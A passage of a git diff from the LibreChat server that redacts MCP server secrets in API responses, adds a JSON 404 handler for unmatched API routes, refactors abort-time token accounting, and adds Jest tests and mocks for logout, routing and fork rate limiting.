+      await logoutController(req, res);
+
+      expect(res.status).toHaveBeenCalledWith(500);
+      expect(res.json).toHaveBeenCalledWith({ message: 'session error' });
+    });
+  });
+
+  describe('cookie clearing', () => {
+    it('clears all auth cookies on successful logout', async () => {
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      expect(res.clearCookie).toHaveBeenCalledWith('refreshToken');
+      expect(res.clearCookie).toHaveBeenCalledWith('openid_access_token');
+      expect(res.clearCookie).toHaveBeenCalledWith('openid_id_token');
+      expect(res.clearCookie).toHaveBeenCalledWith('openid_user_id');
+      expect(res.clearCookie).toHaveBeenCalledWith('token_provider');
+    });
+  });
+});
diff --git a/api/server/controllers/mcp.js b/api/server/controllers/mcp.js
index e5dfff61ca..729f01da9d 100644
--- a/api/server/controllers/mcp.js
+++ b/api/server/controllers/mcp.js
@@ -7,9 +7,11 @@
  */
 const { logger } = require('@librechat/data-schemas');
 const {
+  MCPErrorCodes,
+  redactServerSecrets,
+  redactAllServerSecrets,
   isMCPDomainNotAllowedError,
   isMCPInspectionFailedError,
-  MCPErrorCodes,
 } = require('@librechat/api');
 const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
 const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
@@ -181,10 +183,8 @@ const getMCPServersList = async (req, res) => {
       return res.status(401).json({ message: 'Unauthorized' });
     }
 
-    // 2. Get all server configs from registry (YAML + DB)
     const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
-
-    return res.json(serverConfigs);
+    return res.json(redactAllServerSecrets(serverConfigs));
   } catch (error) {
     logger.error('[getMCPServersList]', error);
     res.status(500).json({ error: error.message });
@@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => {
     );
     res.status(201).json({
       serverName: result.serverName,
-      ...result.config,
+      ...redactServerSecrets(result.config),
     });
   } catch (error) {
     logger.error('[createMCPServer]', error);
@@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => {
       return res.status(404).json({ message: 'MCP server not found' });
     }
 
-    res.status(200).json(parsedConfig);
+    res.status(200).json(redactServerSecrets(parsedConfig));
   } catch (error) {
     logger.error('[getMCPServerById]', error);
     res.status(500).json({ message: error.message });
@@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => {
       userId,
     );
 
-    res.status(200).json(parsedConfig);
+    res.status(200).json(redactServerSecrets(parsedConfig));
   } catch (error) {
     logger.error('[updateMCPServer]', error);
     const mcpErrorResponse = handleMCPError(error, res);
diff --git a/api/server/experimental.js b/api/server/experimental.js
index 4a457abf61..7b60ad7fd2 100644
--- a/api/server/experimental.js
+++ b/api/server/experimental.js
@@ -14,6 +14,7 @@ const { logger } = require('@librechat/data-schemas');
 const mongoSanitize = require('express-mongo-sanitize');
 const {
   isEnabled,
+  apiNotFound,
   ErrorController,
   performStartupChecks,
   handleJsonParseError,
@@ -297,6 +298,7 @@ if (cluster.isMaster) {
     /** Routes */
     app.use('/oauth', routes.oauth);
     app.use('/api/auth', routes.auth);
+    app.use('/api/admin', routes.adminAuth);
     app.use('/api/actions', routes.actions);
     app.use('/api/keys', routes.keys);
     app.use('/api/api-keys', routes.apiKeys);
@@ -310,7 +312,6 @@ if (cluster.isMaster) {
     app.use('/api/endpoints', routes.endpoints);
     app.use('/api/balance', routes.balance);
     app.use('/api/models', routes.models);
-    app.use('/api/plugins', routes.plugins);
     app.use('/api/config', routes.config);
     app.use('/api/assistants', routes.assistants);
     app.use('/api/files', await routes.files.initialize());
@@ -324,8 +325,8 @@ if (cluster.isMaster) {
     app.use('/api/tags', routes.tags);
     app.use('/api/mcp', routes.mcp);
 
-    /** Error handler */
-    app.use(ErrorController);
+    /** 404 for unmatched API routes */
+    app.use('/api', apiNotFound);
 
     /** SPA fallback - serve index.html for all unmatched routes */
     app.use((req, res) => {
@@ -343,6 +344,9 @@ if (cluster.isMaster) {
       res.send(updatedIndexHtml);
     });
 
+    /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
+    app.use(ErrorController);
+
     /** Start listening on shared port (cluster will distribute connections) */
     app.listen(port, host, async (err) => {
       if (err) {
diff --git a/api/server/index.js b/api/server/index.js
index 193eb423ad..f034f10236 100644
--- a/api/server/index.js
+++ b/api/server/index.js
@@ -12,12 +12,14 @@ const { logger } = require('@librechat/data-schemas');
 const mongoSanitize = require('express-mongo-sanitize');
 const {
   isEnabled,
+  apiNotFound,
   ErrorController,
+  memoryDiagnostics,
   performStartupChecks,
   handleJsonParseError,
-  initializeFileStorage,
   GenerationJobManager,
   createStreamServices,
+  initializeFileStorage,
 } = require('@librechat/api');
 const { connectDb, indexSync } = require('~/db');
 const initializeOAuthReconnectManager = require('./services/initializeOAuthReconnectManager');
@@ -162,8 +164,10 @@ const startServer = async () => {
   app.use('/api/tags', routes.tags);
   app.use('/api/mcp', routes.mcp);
 
-  app.use(ErrorController);
+  /** 404 for unmatched API routes */
+  app.use('/api', apiNotFound);
 
+  /** SPA fallback - serve index.html for all unmatched routes */
   app.use((req, res) => {
     res.set({
       'Cache-Control': process.env.INDEX_CACHE_CONTROL || 'no-cache, no-store, must-revalidate',
@@ -179,6 +183,9 @@ const startServer = async () => {
     res.send(updatedIndexHtml);
   });
 
+  /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
+  app.use(ErrorController);
+
   app.listen(port, host, async (err) => {
     if (err) {
       logger.error('Failed to start server:', err);
@@ -201,6 +208,11 @@ const startServer = async () => {
     const streamServices = createStreamServices();
     GenerationJobManager.configure(streamServices);
     GenerationJobManager.initialize();
+
+    const inspectFlags = process.execArgv.some((arg) => arg.startsWith('--inspect'));
+    if (inspectFlags || isEnabled(process.env.MEM_DIAG)) {
+      memoryDiagnostics.start();
+    }
   });
 };
 
diff --git a/api/server/index.spec.js b/api/server/index.spec.js
index c73c605518..7b3d062fce 100644
--- a/api/server/index.spec.js
+++ b/api/server/index.spec.js
@@ -100,6 +100,40 @@ describe('Server Configuration', () => {
     expect(response.headers['expires']).toBe('0');
   });
 
+  it('should return 404 JSON for undefined API routes', async () => {
+    const response = await request(app).get('/api/nonexistent');
+    expect(response.status).toBe(404);
+    expect(response.body).toEqual({ message: 'Endpoint not found' });
+  });
+
+  it('should return 404 JSON for nested undefined API routes', async () => {
+    const response = await request(app).get('/api/nonexistent/nested/path');
+    expect(response.status).toBe(404);
+    expect(response.body).toEqual({ message: 'Endpoint not found' });
+  });
+
+  it('should return 404 JSON for non-GET methods on undefined API routes', async () => {
+    const post = await request(app).post('/api/nonexistent');
+    expect(post.status).toBe(404);
+    expect(post.body).toEqual({ message: 'Endpoint not found' });
+
+    const del = await request(app).delete('/api/nonexistent');
+    expect(del.status).toBe(404);
+    expect(del.body).toEqual({ message: 'Endpoint not found' });
+  });
+
+  it('should return 404 JSON for the /api root path', async () => {
+    const response = await request(app).get('/api');
+    expect(response.status).toBe(404);
+    expect(response.body).toEqual({ message: 'Endpoint not found' });
+  });
+
+  it('should serve SPA HTML for non-API unmatched routes', async () => {
+    const response = await request(app).get('/this/does/not/exist');
+    expect(response.status).toBe(200);
+    expect(response.headers['content-type']).toMatch(/html/);
+  });
+
   it('should return 500 for unknown errors via ErrorController', async () => {
     // Testing the error handling here on top of unit tests to ensure the middleware is correctly integrated
 
diff --git a/api/server/middleware/abortMiddleware.js b/api/server/middleware/abortMiddleware.js
index d07a09682d..d39b0104a8 100644
--- a/api/server/middleware/abortMiddleware.js
+++ b/api/server/middleware/abortMiddleware.js
@@ -1,17 +1,19 @@
 const { logger } = require('@librechat/data-schemas');
 const {
-  countTokens,
   isEnabled,
   sendEvent,
+  countTokens,
   GenerationJobManager,
+  recordCollectedUsage,
   sanitizeMessageForTransmit,
 } = require('@librechat/api');
 const { isAssistantsEndpoint, ErrorTypes } = require('librechat-data-provider');
+const { saveMessage, getConvo, updateBalance, bulkInsertTransactions } = require('~/models');
 const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
 const { truncateText, smartTruncateText } = require('~/app/clients/prompts');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
 const clearPendingReq = require('~/cache/clearPendingReq');
 const { sendError } = require('~/server/middleware/error');
-const { saveMessage, getConvo } = require('~/models');
 const { abortRun } = require('./abortRun');
 
 /**
@@ -27,62 +29,35 @@ const { abortRun } = require('./abortRun');
  * @param {string} params.conversationId - Conversation ID
  * @param {Array<Object>} params.collectedUsage - Usage metadata from all models
  * @param {string} [params.fallbackModel] - Fallback model name if not in usage
+ * @param {string} [params.messageId] - The response message ID for transaction correlation
  */
-async function spendCollectedUsage({ userId, conversationId, collectedUsage, fallbackModel }) {
+async function spendCollectedUsage({
+  userId,
+  conversationId,
+  collectedUsage,
+  fallbackModel,
+  messageId,
+}) {
   if (!collectedUsage || collectedUsage.length === 0) {
     return;
   }
 
-  const spendPromises = [];
-
-  for (const usage of collectedUsage) {
-    if (!usage) {
-      continue;
-    }
-
-    // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
-    const cache_creation =
-      Number(usage.input_token_details?.cache_creation) ||
-      Number(usage.cache_creation_input_tokens) ||
-      0;
-    const cache_read =
-      Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
-
-    const txMetadata = {
-      context: 'abort',
-      conversationId,
+  await recordCollectedUsage(
+    {
+      spendTokens,
+      spendStructuredTokens,
+      pricing: { getMultiplier, getCacheMultiplier },
+      bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
+    },
+    {
       user: userId,
-      model: usage.model ?? fallbackModel,
-    };
-
-    if (cache_creation > 0 || cache_read > 0) {
-      spendPromises.push(
-        spendStructuredTokens(txMetadata, {
-          promptTokens: {
-            input: usage.input_tokens,
-            write: cache_creation,
-            read: cache_read,
-          },
-          completionTokens: usage.output_tokens,
-        }).catch((err) => {
-          logger.error('[abortMiddleware] Error spending structured tokens for abort', err);
-        }),
-      );
-      continue;
-    }
-
-    spendPromises.push(
-      spendTokens(txMetadata, {
-        promptTokens: usage.input_tokens,
-        completionTokens: usage.output_tokens,
-      }).catch((err) => {
-        logger.error('[abortMiddleware] Error spending tokens for abort', err);
-      }),
-    );
-  }
-
-  // Wait for all token spending to complete
-  await Promise.all(spendPromises);
+      conversationId,
+      collectedUsage,
+      context: 'abort',
+      messageId,
+      model: fallbackModel,
+    },
+  );
 
   // Clear the array to prevent double-spending from the AgentClient finally block.
   // The collectedUsage array is shared by reference with AgentClient.collectedUsage,
@@ -144,6 +119,7 @@ async function abortMessage(req, res) {
       conversationId: jobData?.conversationId,
       collectedUsage,
       fallbackModel: jobData?.model,
+      messageId: jobData?.responseMessageId,
     });
   } else {
     // Fallback: no collected usage, use text-based token counting for primary model only
@@ -292,4 +268,5 @@ const handleAbortError = async (res, req, error, data) => {
 module.exports = {
   handleAbort,
   handleAbortError,
+  spendCollectedUsage,
 };
diff --git a/api/server/middleware/abortMiddleware.spec.js b/api/server/middleware/abortMiddleware.spec.js
index 93f2ce558b..795814a928 100644
--- a/api/server/middleware/abortMiddleware.spec.js
+++ b/api/server/middleware/abortMiddleware.spec.js
@@ -4,16 +4,32 @@
  * This tests the token spending logic for abort scenarios,
  * particularly for parallel agents (addedConvo) where multiple
  * models need their tokens spent.
+ *
+ * spendCollectedUsage delegates to recordCollectedUsage from @librechat/api,
+ * passing pricing + bulkWriteOps deps, with context: 'abort'.
+ * After spending, it clears the collectedUsage array to prevent double-spending
+ * from the AgentClient finally block (which shares the same array reference).
  */
 
 const mockSpendTokens = jest.fn().mockResolvedValue();
 const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
+const mockRecordCollectedUsage = jest
+  .fn()
+  .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
+
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
 
 jest.mock('~/models/spendTokens', () => ({
   spendTokens: (...args) => mockSpendTokens(...args),
   spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
 }));
 
+jest.mock('~/models/tx', () => ({
+  getMultiplier: mockGetMultiplier,
+  getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
 jest.mock('@librechat/data-schemas', () => ({
   logger: {
     debug: jest.fn(),
@@ -30,6 +46,7 @@ jest.mock('@librechat/api', () => ({
   GenerationJobManager: {
     abortJob: jest.fn(),
   },
+  recordCollectedUsage: mockRecordCollectedUsage,
   sanitizeMessageForTransmit: jest.fn((msg) => msg),
 }));
 
@@ -49,94 +66,27 @@ jest.mock('~/server/middleware/error', () => ({
   sendError: jest.fn(),
 }));
 
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
 jest.mock('~/models', () => ({
   saveMessage: jest.fn().mockResolvedValue(),
   getConvo: jest.fn().mockResolvedValue({ title: 'Test Chat' }),
+  updateBalance: mockUpdateBalance,
+  bulkInsertTransactions: mockBulkInsertTransactions,
 }));
 
 jest.mock('./abortRun', () => ({
   abortRun: jest.fn(),
 }));
 
-// Import the module after mocks are set up
-// We need to extract the spendCollectedUsage function for testing
-// Since it's not exported, we'll test it through the handleAbort flow
+const { spendCollectedUsage } = require('./abortMiddleware');
 
 describe('abortMiddleware - spendCollectedUsage', () => {
   beforeEach(() => {
     jest.clearAllMocks();
   });
 
-  describe('spendCollectedUsage logic', () => {
-    // Since spendCollectedUsage is not exported, we test the logic directly
-    // by replicating the function here for unit testing
-
-    const spendCollectedUsage = async ({
-      userId,
-      conversationId,
-      collectedUsage,
-      fallbackModel,
-    }) => {
-      if (!collectedUsage || collectedUsage.length === 0) {
-        return;
-      }
-
-      const spendPromises = [];
-
-      for (const usage of collectedUsage) {
-        if (!usage) {
-          continue;
-        }
-
-        const cache_creation =
-          Number(usage.input_token_details?.cache_creation) ||
-          Number(usage.cache_creation_input_tokens) ||
-          0;
-        const cache_read =
-          Number(usage.input_token_details?.cache_read) ||
-          Number(usage.cache_read_input_tokens) ||
-          0;
-
-        const txMetadata = {
-          context: 'abort',
-          conversationId,
-          user: userId,
-          model: usage.model ?? fallbackModel,
-        };
-
-        if (cache_creation > 0 || cache_read > 0) {
-          spendPromises.push(
-            mockSpendStructuredTokens(txMetadata, {
-              promptTokens: {
-                input: usage.input_tokens,
-                write: cache_creation,
-                read: cache_read,
-              },
-              completionTokens: usage.output_tokens,
-            }).catch(() => {
-              // Log error but don't throw
-            }),
-          );
-          continue;
-        }
-
-        spendPromises.push(
-          mockSpendTokens(txMetadata, {
-            promptTokens: usage.input_tokens,
-            completionTokens: usage.output_tokens,
-          }).catch(() => {
-            // Log error but don't throw
-          }),
-        );
-      }
-
-      // Wait for all token spending to complete
-      await Promise.all(spendPromises);
-
-      // Clear the array to prevent double-spending
-      collectedUsage.length = 0;
-    };
-
+  describe('spendCollectedUsage delegation', () => {
     it('should return early if collectedUsage is empty', async () => {
       await spendCollectedUsage({
         userId: 'user-123',
@@ -145,8 +95,7 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         fallbackModel: 'gpt-4',
       });
 
-      expect(mockSpendTokens).not.toHaveBeenCalled();
-      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
     });
 
     it('should return early if collectedUsage is null', async () => {
@@ -157,28 +106,10 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         fallbackModel: 'gpt-4',
       });
 
-      expect(mockSpendTokens).not.toHaveBeenCalled();
-      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
     });
 
-    it('should skip null entries in collectedUsage', async () => {
-      const collectedUsage = [
-        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
-        null,
-        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
-      ];
-
-      await spendCollectedUsage({
-        userId: 'user-123',
-        conversationId: 'convo-123',
-        collectedUsage,
-        fallbackModel: 'gpt-4',
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-    });
-
-    it('should spend tokens for single model', async () => {
+    it('should call recordCollectedUsage with abort context and full deps', async () => {
       const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
 
       await spendCollectedUsage({
@@ -186,21 +117,35 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         conversationId: 'convo-123',
         collectedUsage,
         fallbackModel: 'gpt-4',
+        messageId: 'msg-123',
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({
-          context: 'abort',
-          conversationId: 'convo-123',
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+      expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+        {
+          spendTokens: expect.any(Function),
+          spendStructuredTokens: expect.any(Function),
+          pricing: {
+            getMultiplier: mockGetMultiplier,
+            getCacheMultiplier: mockGetCacheMultiplier,
+          },
+          bulkWriteOps: {
+            insertMany: mockBulkInsertTransactions,
+            updateBalance: mockUpdateBalance,
+          },
+        },
+        {
           user: 'user-123',
+          conversationId: 'convo-123',
+          collectedUsage,
+          context: 'abort',
+          messageId: 'msg-123',
           model: 'gpt-4',
-        }),
-        { promptTokens: 100, completionTokens: 50 },
+        },
       );
     });
 
-    it('should spend tokens for multiple models (parallel agents)', async () => {
+    it('should pass context abort for multiple models (parallel agents)', async () => {
       const collectedUsage = [
         { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
         { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -214,136 +159,17 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         fallbackModel: 'gpt-4',
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(3);
-
-      // Verify each model was called
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        1,
-        expect.objectContaining({ model: 'gpt-4' }),
-        { promptTokens: 100, completionTokens: 50 },
-      );
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        2,
-        expect.objectContaining({ model: 'claude-3' }),
-        { promptTokens: 80, completionTokens: 40 },
-      );
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        3,
-        expect.objectContaining({ model: 'gemini-pro' }),
-        { promptTokens: 120, completionTokens: 60 },
-      );
-    });
-
-    it('should use fallbackModel when usage.model is missing', async () => {
-      const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
-
-      await spendCollectedUsage({
-        userId: 'user-123',
-        conversationId: 'convo-123',
-        collectedUsage,
-        fallbackModel: 'fallback-model',
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'fallback-model' }),
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+      expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
         expect.any(Object),
+        expect.objectContaining({
+          context: 'abort',
+          collectedUsage,
+        }),
       );
     });
 
-    it('should use spendStructuredTokens for OpenAI format cache tokens', async () => {
-      const collectedUsage = [
-        {
-          input_tokens: 100,
-          output_tokens: 50,
-          model: 'gpt-4',
-          input_token_details: {
-            cache_creation: 20,
-            cache_read: 10,
-          },
-        },
-      ];
-
-      await spendCollectedUsage({
-        userId: 'user-123',
-        conversationId: 'convo-123',
-        collectedUsage,
-        fallbackModel: 'gpt-4',
-      });
-
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendTokens).not.toHaveBeenCalled();
-      expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'gpt-4', context: 'abort' }),
-        {
-          promptTokens: {
-            input: 100,
-            write: 20,
-            read: 10,
-          },
-          completionTokens: 50,
-        },
-      );
-    });
-
-    it('should use spendStructuredTokens for Anthropic format cache tokens', async () => {
-      const collectedUsage = [
-        {
-          input_tokens: 100,
-          output_tokens: 50,
-          model: 'claude-3',
-          cache_creation_input_tokens: 25,
-          cache_read_input_tokens: 15,
-        },
-      ];
-
-      await spendCollectedUsage({
-        userId: 'user-123',
-        conversationId: 'convo-123',
-        collectedUsage,
-        fallbackModel: 'claude-3',
-      });
-
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendTokens).not.toHaveBeenCalled();
-      expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'claude-3' }),
-        {
-          promptTokens: {
-            input: 100,
-            write: 25,
-            read: 15,
-          },
-          completionTokens: 50,
-        },
-      );
-    });
-
-    it('should handle mixed cache and non-cache entries', async () => {
-      const collectedUsage = [
-        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
-        {
-          input_tokens: 150,
-          output_tokens: 30,
-          model: 'claude-3',
-          cache_creation_input_tokens: 20,
-          cache_read_input_tokens: 10,
-        },
-        { input_tokens: 200, output_tokens: 20, model: 'gemini-pro' },
-      ];
-
-      await spendCollectedUsage({
-        userId: 'user-123',
-        conversationId: 'convo-123',
-        collectedUsage,
-        fallbackModel: 'gpt-4',
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
-    });
-
     it('should handle real-world parallel agent abort scenario', async () => {
-      // Simulates: Primary agent (gemini) + addedConvo agent (gpt-5) aborted mid-stream
       const collectedUsage = [
         { input_tokens: 31596, output_tokens: 151, model: 'gemini-3-flash-preview' },
         { input_tokens: 28000, output_tokens: 120, model: 'gpt-5.2' },
@@ -356,27 +182,24 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         fallbackModel: 'gemini-3-flash-preview',
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-
-      // Primary model
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        1,
-        expect.objectContaining({ model: 'gemini-3-flash-preview' }),
-        { promptTokens: 31596, completionTokens: 151 },
-      );
-
-      // Parallel model (addedConvo)
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        2,
-        expect.objectContaining({ model: 'gpt-5.2' }),
-        { promptTokens: 28000, completionTokens: 120 },
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+      expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+        expect.any(Object),
+        expect.objectContaining({
+          user: 'user-123',
+          conversationId: 'convo-123',
+          context: 'abort',
+          model: 'gemini-3-flash-preview',
+        }),
       );
     });
 
+    /**
+     * Race condition prevention: after abort middleware spends tokens,
+     * the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
+     * (which shares the same array reference) sees an empty array and returns early.
+     */
     it('should clear collectedUsage array after spending to prevent double-spending', async () => {
-      // This tests the race condition fix: after abort middleware spends tokens,
-      // the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
-      // (which shares the same array reference) sees an empty array and returns early.
       const collectedUsage = [
         { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
         { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -391,19 +214,16 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         fallbackModel: 'gpt-4',
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-
-      // The array should be cleared after spending
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
       expect(collectedUsage.length).toBe(0);
     });
 
-    it('should await all token spending operations before clearing array', async () => {
-      // Ensure we don't clear the array before spending completes
-      let spendCallCount = 0;
-      mockSpendTokens.mockImplementation(async () => {
-        spendCallCount++;
-        // Simulate async delay
+    it('should await recordCollectedUsage before clearing array', async () => {
+      let resolved = false;
+      mockRecordCollectedUsage.mockImplementation(async () => {
         await new Promise((resolve) => setTimeout(resolve, 10));
+        resolved = true;
+        return { input_tokens: 100, output_tokens: 50 };
       });
 
       const collectedUsage = [
@@ -418,10 +238,7 @@ describe('abortMiddleware - spendCollectedUsage', () => {
         fallbackModel: 'gpt-4',
       });
 
-      // Both spend calls should have completed
-      expect(spendCallCount).toBe(2);
-
-      // Array should be cleared after awaiting
+      expect(resolved).toBe(true);
       expect(collectedUsage.length).toBe(0);
     });
   });
diff --git a/api/server/middleware/limiters/forkLimiters.js b/api/server/middleware/limiters/forkLimiters.js
index e0aa65700c..f1e9b15f11 100644
--- a/api/server/middleware/limiters/forkLimiters.js
+++ b/api/server/middleware/limiters/forkLimiters.js
@@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => {
     };
 
     await logViolation(req, res, type, errorMessage, forkViolationScore);
-    res.status(429).json({ message: 'Too many conversation fork requests. Try again later' });
+    res.status(429).json({ message: 'Too many requests. Try again later' });
   };
 };
 
diff --git a/api/server/routes/__test-utils__/convos-route-mocks.js b/api/server/routes/__test-utils__/convos-route-mocks.js
new file mode 100644
index 0000000000..f89b77db3f
--- /dev/null
+++ b/api/server/routes/__test-utils__/convos-route-mocks.js
@@ -0,0 +1,93 @@
+module.exports = {
+  agents: () => ({ sleep: jest.fn() }),
+
+  api: (overrides = {}) => ({
+    isEnabled: jest.fn(),
+    resolveImportMaxFileSize: jest.fn(() => 262144000),
+    createAxiosInstance: jest.fn(() => ({
+      get: jest.fn(),
+      post: jest.fn(),
+      put: jest.fn(),
+      delete: jest.fn(),
+    })),
+    logAxiosError: jest.fn(),
+    ...overrides,
+  }),
+
+  dataSchemas: () => ({
+    logger: {
+      debug: jest.fn(),
+      info: jest.fn(),
+      warn: jest.fn(),
+      error: jest.fn(),
+    },
+    createModels: jest.fn(() => ({
+      User: {},
+      Conversation: {},
+      Message: {},
+      SharedLink: {},
+    })),
+  }),
+
+  dataProvider: (overrides = {}) => ({
+    CacheKeys: { GEN_TITLE: 'GEN_TITLE' },
+    EModelEndpoint: {
+      azureAssistants: 'azureAssistants',
+      assistants: 'assistants',
+    },
+    ...overrides,
+  }),
+
+  conversationModel: () => ({
+    getConvosByCursor: jest.fn(),
+    getConvo: jest.fn(),
+    deleteConvos: jest.fn(),
+    saveConvo: jest.fn(),
+  }),
+
+  toolCallModel: () => ({ deleteToolCalls: jest.fn() }),
+
+  sharedModels: () => ({
+    deleteAllSharedLinks: jest.fn(),
+    deleteConvoSharedLink: jest.fn(),
+  }),
+
+  requireJwtAuth: () => (req, res, next) => next(),
+
+  middlewarePassthrough: () => ({
+    createImportLimiters: jest.fn(() => ({
+      importIpLimiter: (req, res, next) => next(),
+      importUserLimiter: (req, res, next) => next(),
+    })),
+    createForkLimiters: jest.fn(() => ({
+      forkIpLimiter: (req, res, next) => next(),
+      forkUserLimiter: (req, res, next) => next(),
+    })),
+    configMiddleware: (req, res, next) => next(),
+    validateConvoAccess: (req, res, next) => next(),
+  }),
+
+  forkUtils: () => ({
+    forkConversation: jest.fn(),
+    duplicateConversation: jest.fn(),
+  }),
+
+  importUtils: () => ({ importConversations: jest.fn() }),
+
+  logStores: () => jest.fn(),
+
+  multerSetup: () => ({
+    storage: {},
+    importFileFilter: jest.fn(),
+  }),
+
+  multerLib: () =>
+    jest.fn(() => ({
+      single: jest.fn(() => (req, res, next) => {
+        req.file = { path: '/tmp/test-file.json' };
+        next();
+      }),
+    })),
+
+  assistantEndpoint: () => ({ initializeClient: jest.fn() }),
+};
diff --git a/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
new file mode 100644
index 0000000000..788119a569
--- /dev/null
+++ b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
@@ -0,0 +1,135 @@
+const express = require('express');
+const request = require('supertest');
+
+const MOCKS = '../__test-utils__/convos-route-mocks';
+
+jest.mock('@librechat/agents', () => require(MOCKS).agents());
+jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) }));
+jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
+jest.mock('librechat-data-provider', () =>
+  require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }),
+);
+
+jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined));
+jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
+jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
+jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
+jest.mock('~/models', () => require(MOCKS).sharedModels());
+jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
+
+jest.mock('~/server/middleware', () => {
+  const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters');
+  return {
+    createImportLimiters: jest.fn(() => ({
+      importIpLimiter: (req, res, next) => next(),
+      importUserLimiter: (req, res, next) => next(),
+    })),
+    createForkLimiters,
+    configMiddleware: (req, res, next) => next(),
+    validateConvoAccess: (req, res, next) => next(),
+  };
+});
+
+jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
+jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
+jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
+jest.mock('multer', () => require(MOCKS).multerLib());
+jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
+
+describe('POST /api/convos/duplicate - Rate Limiting', () => {
+  let app;
+  let duplicateConversation;
+  const savedEnv = {};
+
+  beforeAll(() => {
+    savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX;
+    savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW;
+    savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX;
+    savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW;
+  });
+
+  afterAll(() => {
+    for (const key of Object.keys(savedEnv)) {
+      if (savedEnv[key] === undefined) {
